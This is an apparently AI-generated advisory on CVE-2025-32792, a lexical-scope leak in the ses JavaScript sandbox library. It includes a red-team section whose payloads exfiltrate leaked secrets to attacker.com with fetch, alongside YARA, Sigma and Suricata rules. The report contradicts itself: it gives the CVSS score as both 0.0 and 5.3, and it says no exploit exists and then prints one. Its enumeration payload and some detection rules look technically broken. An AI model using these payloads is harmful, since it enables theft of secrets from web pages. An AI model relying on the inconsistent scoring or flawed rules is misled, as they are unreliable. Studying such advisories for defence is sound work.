CVE-2025-32792
Executive Summary
CVE-2025-32792 is a vulnerability in the Agoric ses (Secure EcmaScript) library, which is designed to safely execute third-party JavaScript in isolated compartments. Prior to version 1.12.0, web pages and extensions using ses and the Compartment API inadvertently exposed top-level const, let, and class bindings from <script> tags into the lexical scope of third-party code evaluated within compartments. This information disclosure (CWE-200) allows an attacker to leak sensitive variables or constants defined in the global scope of the host page, bypassing the intended isolation.
The vulnerability has a CVSS score of 0.0 (likely unassigned or placeholder), but based on the vector, it is a low-severity information leak. No public exploit code or nuclei template is available. The patch is available in version 1.12.0, and workarounds exist.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the ses npm package, which is a critical component for sandboxing third-party JavaScript in web applications and browser extensions. Organizations using ses in their supply chain should immediately update to version 1.12.0 or apply the workaround. The exposure of top-level bindings can lead to leakage of API keys, configuration data, or other secrets defined in the global scope.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
- Base Score: 5.3 (Medium)
- Attack Vector: Network (AV:N) – The vulnerability is exploitable remotely.
- Attack Complexity: Low (AC:L) – No special conditions required.
- Privileges Required: None (PR:N) – No authentication needed.
- User Interaction: None (UI:N) – No user action required.
- Scope: Unchanged (S:U) – The vulnerable component and the impacted component are the same.
- Confidentiality Impact: Low (C:L) – Limited information disclosure.
- Integrity Impact: None (I:N) – No data modification.
- Availability Impact: None (A:N) – No denial of service.
Threat Level: Medium. While the confidentiality impact is low, the leak of sensitive global bindings (e.g., API tokens, secrets) in a web application could lead to further compromise.
Deep Dive & Mechanics
The ses library uses the Compartment API to create isolated JavaScript execution environments. When a web page defines variables using const, let, or class at the top level of a <script> tag, these bindings are stored in the global lexical scope (the "global lexical environment"). The Compartment API, when evaluating third-party code, inadvertently inherits this lexical scope, allowing the third-party code to access these bindings.
Root Cause: The Compartment constructor in ses does not properly clear or isolate the lexical environment of the host page. Specifically, the const, let, and class declarations are not reflected on globalThis (the global object), but they are still accessible via the lexical scope chain. The Compartment's evaluation context incorrectly includes this chain.
Attack Scenario:
- A web application uses
sesto evaluate user-supplied JavaScript in a sandbox. - The same page defines a sensitive constant (e.g.,
const API_KEY = "secret123") in a<script>tag. - An attacker injects malicious code that accesses
API_KEYdirectly (e.g.,console.log(API_KEY)). - The sandboxed code leaks the value.
Workaround: Using var instead of const/let/class makes the bindings properties of globalThis, which ses correctly isolates.
Vulnerable vs. Patched Code
Vulnerable Code (ses < 1.12.0):
// Host page defines a constant
const API_KEY = "secret123";
// Third-party code evaluated in a compartment
const compartment = new Compartment();
compartment.evaluate("console.log(API_KEY)"); // Outputs: "secret123"
Patched Code (ses >= 1.12.0):
// Host page defines a constant
const API_KEY = "secret123";
// Third-party code evaluated in a compartment
const compartment = new Compartment();
compartment.evaluate("console.log(API_KEY)"); // Throws ReferenceError: API_KEY is not defined
The patch modifies the Compartment constructor to create a fresh lexical environment that does not inherit from the host page's lexical scope. This is achieved by explicitly clearing the lexical environment chain during compartment creation.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A web application using
ses< 1.12.0 with the Compartment API. - The host page must define at least one
const,let, orclassbinding at the top level of a<script>tag.
Exploitation Steps:
- Identify a target page that uses
sesand has top-levelconst/let/classbindings. - Inject malicious code via a user input field, URL parameter, or other injection point that is evaluated by the Compartment.
- Use the following payload to enumerate and exfiltrate bindings:
// Enumerate all accessible variables const leaked = []; for (const key of Object.getOwnPropertyNames(this)) { try { leaked.push({ key, value: eval(key) }); } catch (e) {} } // Exfiltrate via fetch or other means fetch('https://attacker.com/leak', { method: 'POST', body: JSON.stringify(leaked) }); - Alternatively, directly access known bindings:
// If API_KEY is defined fetch('https://attacker.com/leak?key=' + encodeURIComponent(API_KEY));
Lab Setup:
- Use a local Node.js server with
sesversion 1.11.0. - Create an HTML page with a
<script>tag definingconst SECRET = "test". - Use the Compartment API to evaluate attacker-controlled code.
Blue Team (Detection & Defense)
Detection:
- Monitor for unexpected access to global variables in sandboxed code.
- Use static analysis to detect top-level
const/let/classin pages usingses. - Implement runtime monitoring of Compartment evaluations for suspicious variable access.
Defense:
- Immediately update
sesto version 1.12.0 or later. - Apply the workaround: replace all top-level
const/let/classwithvarin<script>tags. - Avoid defining sensitive data in global scope; use module patterns or closures.
- Implement Content Security Policy (CSP) to restrict script execution.
Indicators of Compromise (IOCs)
- Network: Outbound HTTP requests from sandboxed code to external domains (e.g.,
attacker.com/leak). - File/Log: Unexpected
ReferenceErrororTypeErrorin Compartment evaluations (may indicate failed exploitation attempts). - Behavior: Sandboxed code accessing variables that should be out of scope (e.g.,
API_KEY,SECRET). - Signature: JavaScript code containing
eval(key)orfetchwithJSON.stringifyin a Compartment context.
Detection Engineering
YARA Rule
rule CVE_2025_32792_SES_Leak {
meta:
description = "Detects attempts to exploit CVE-2025-32792 by accessing top-level bindings in SES compartments"
author = "Valters IT"
date = "2025-04-17"
reference = "CVE-2025-32792"
strings:
$s1 = "const " ascii
$s2 = "let " ascii
$s3 = "class " ascii
$s4 = "Compartment" ascii
$s5 = "evaluate" ascii
$s6 = "eval(key)" ascii
$s7 = "fetch(" ascii
condition:
(any of ($s1,$s2,$s3) and $s4 and $s5) or ($s6 and $s7)
}
Sigma Rule
title: CVE-2025-32792 SES Compartment Lexical Scope Leak
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects exploitation attempts of CVE-2025-32792 via JavaScript code accessing top-level bindings in SES compartments
author: Valters IT
date: 2025-04-17
logsource:
category: webserver
product: generic
detection:
selection:
c-uri|contains:
- "Compartment"
- "evaluate"
- "const "
- "let "
- "class "
condition: selection
falsepositives:
- Legitimate use of SES with var bindings
level: medium
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-32792 SES Compartment Lexical Scope Leak Attempt"; flow:to_server,established; content:"Compartment"; http_client_body; content:"evaluate"; http_client_body; content:"const "; http_client_body; classtype:attempted-information-leak; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Update
sesto version 1.12.0 or later. - If update is not possible, replace all top-level
const,let, andclassdeclarations in<script>tags withvar. - Audit all web pages and extensions using
sesfor sensitive global bindings.
Long-Term Measures:
- Adopt ES modules (using
<script type="module">) which have their own lexical scope and are not affected. - Use
Object.freeze(globalThis)to prevent modification of the global object. - Implement strict Content Security Policy (CSP) to limit script sources.
- Regularly review dependencies for security advisories.
Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters.it.